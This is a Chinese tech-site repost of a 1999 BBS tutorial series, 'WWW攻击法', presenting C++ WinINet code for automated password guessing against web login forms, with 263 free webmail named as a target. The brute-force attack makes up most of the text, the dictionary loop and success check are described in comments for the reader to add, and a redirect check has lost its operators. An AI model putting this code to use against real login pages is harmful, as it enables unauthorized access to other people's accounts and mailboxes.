搜索文章:

首页  |  Java技术  |  Asp.net  |  Asp编程  |  VC/C++  |  Delphi  |  VB编程

WWW攻击法

贴这篇文章之前
首先向spark说声对不起
本来很早以前就想写这篇文章的
可惜那时候刚好赶上换工作
好了
闲话少说,言归正传
这儿的www攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持www的免费邮件
如果你想用它来进入黄色站点
那也没办法 :)
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据html文件中form的定义
把这些信息发给服务器来验证
一般的办法是get或post
比如在263中
请看下面的263 html源代码
  
    用户名: @263.net 口令: 
如果点击"请进吧!",浏览器会向服务器发送一下请求
post /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程
welcome to nankaibbs发信人: bbb (九万里风鹏路), 信区: syssafe
标 题: www攻击法(二)
发信站: 我爱南开站 (wed nov 3 08:45:57 1999), 转信
微软给我们提供了一套现成的api让我们可以使用http协议而不需通读rfc文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const tchar szheaders[] ="accept: text/*\r\nuser-agent: urlhacker\r\n";
//pserver是目标主机名
//cszpostdata就是剩下的部分
//比如攻击263的免费邮箱,那么
//pserver="freemail.263.net"
//cszpostdata="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void attack(lpstr pserver,lpstr cszpostdata)
{
  // open internet session.
  hinternet hsession = ::internetopen("urlhacker",
        internet_open_type_preconfig,
        null,
        internet_invalid_port_number,
        0) ;
  // connect to dest.
  hinternet hconnect = ::internetconnect(hsession,
        pserver,
        internet_invalid_port_number,
        "",
        "",
        internet_service_http,
        0,
        0) ;
  // request the file from the server.
  hinternet hhttpfile = ::httpopenrequest(hconnect,
        "get",
        cszpostdata,
        http_version,
        null,
        0,
        internet_flag_dont_cache,
        0) ;
  // add request headers
  bool baddheaders = ::httpaddrequestheaders(hconnect,szheaders,lstrlen(szhea
ders),http_addreq_flag_add);
  // send the request.
  bool bsendrequest = ::httpsendrequest(hhttpfile, null, 0, 0, 0);
  // get the length of the file.
  char szbuffer[80] ;
  dword dwlen = sizeof(szbuffer);
  dword dwindex;
  bool bret = httpqueryinfo(hhttpfile, http_query_status_code,
        szbuffer, &dwlen, null);
  dword dwret;
  if (bret)
     dwret = (dword) atol(szbuffer);
  if (dwret == http_status_denied){
  //这是另外一种验证的办法,和系统的用户名、口令结合起来
  //internetconnect中第3、4个参数就是用户名和口令
  //下面怎么做不用我说了吧
  }
  if (httpqueryinfo(hhttpfile, http_query_raw_headers_crlf, null, &dwlen, 0))
     bret = true;
  else
  {
     // now that we know how long it is, ask for exactly that much
     // space and really request the header from the api
     lptstr pstr = new tchar[dwlen];
     bret = httpqueryinfo(hhttpfile, http_query_raw_headers_crlf, pstr, &dwlen,
&dwindex);
     delete []pstr;
  }
  // were we redirected?
  // these response status codes come from wininet.h
  if (dwret == http_status_moved
     dwret == http_status_redirect
     dwret == http_status_redirect_method)
  {
  //被重定向到其它地址,需要重新连接到新的地址
  }
    
  // convert length from ascii string to a dword.
  // allocate a buffer for the file.
  char* buffer = new char[dwlen+1] ;
  // read the file into the buffer.
  dword dwbytesread ;
  bool bread = ::internetreadfile(hhttpfile,
          buffer,
          dwlen+1,
          &dwbytesread);
  //可以在这儿根据读到的内容判断攻击是否成功
  //怎么?不会!
  //试一下手工猜口令,肯定给你一个出错的画面
  //如果读到的内容中不包括那些错误信息,就又可能成功了
  delete [] buffer;
  ::internetclosehandle(hhttpfile);
  ::internetclosehandle(hconnect) ;
  ::internetclosehandle(hsession) ;
}
welcome to nankaibbs发信人: bbb (九万里风鹏路), 信区: syssafe
标 题: www攻击法(三)—注解
发信站: 我爱南开站 (wed nov 3 08:58:58 1999), 转信
创建一个会话
hinternet hsession = ::internetopen(
    "urlhacker",//agent名,随便取
    internet_open_type_preconfig,//使用定义的连接方式
    null,
    internet_invalid_port_number,
    0) ;
连接到服务器
hinternet hconnect = ::internetconnect(
    hsession,
    pserver,//服务器名
    internet_invalid_port_number,
    "",//用户名
    "",//口令
    internet_service_http,//http
    0,
    0);
向服务器发出请求
hinternet hhttpfile = ::httpopenrequest(hconnect,
    "get",//可用get或post
     cszpostdata,//对应于http命令 get cdzpostdata
     http_version,
     null,
     0,
     internet_flag_dont_cache,
     0);
加一个请求头,自我炫耀一下,hehe
bool baddheaders = ::httpaddrequestheaders(hconnect,szheaders,lstrlen(szhead
ers),http_addreq_flag_add);
接下来,查询该请求返回的信息,然后读之。

()

下一篇:征服你的Web Shell >>
相关文章:
© 2006   www.java-asp.net